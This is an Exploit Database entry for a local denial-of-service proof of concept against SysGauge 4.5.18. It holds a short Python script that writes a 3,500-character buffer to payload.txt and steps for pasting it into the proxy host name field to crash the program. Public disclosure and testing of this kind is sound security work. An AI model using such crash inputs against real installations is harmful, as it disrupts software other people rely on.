



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

SysGauge 4.5.18 - Local Denial of Service

EDB-ID:

44372

CVE:

N/A

EDB Verified: ✘

Author:

[HASHIM JAWAD](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2018-03-30

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
#!/usr/bin/python
#####
# Exploit Title       : SysGauge v4.5.18 - Local Denial of Service
#
# Exploit Author      : Hashim Jawad
#
# Twitter             : @ihack4falafel
#
# Author Website      : ihack4falafel[.]com
#
# Vendor Homepage     : http://www.sysgauge.com/
#
# Vulnerable Software :
http://www.sysgauge.com/setups/sysgauge_setup_v4.5.18.exe      #
# Note                : SysGauge Pro and Ultimate v4.5.18 are also
vulnerable            #
# Steps to Reproduce : ~ Copy content of payload.txt
#
#                    ~ Select Manual proxy configuration under Options-
>Proxy                #
#                    ~ Paste content in 'Proxy Server Host Name' field
and click Save        #
#####

buffer = "A" * 3500

try:
    f=open("payload.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.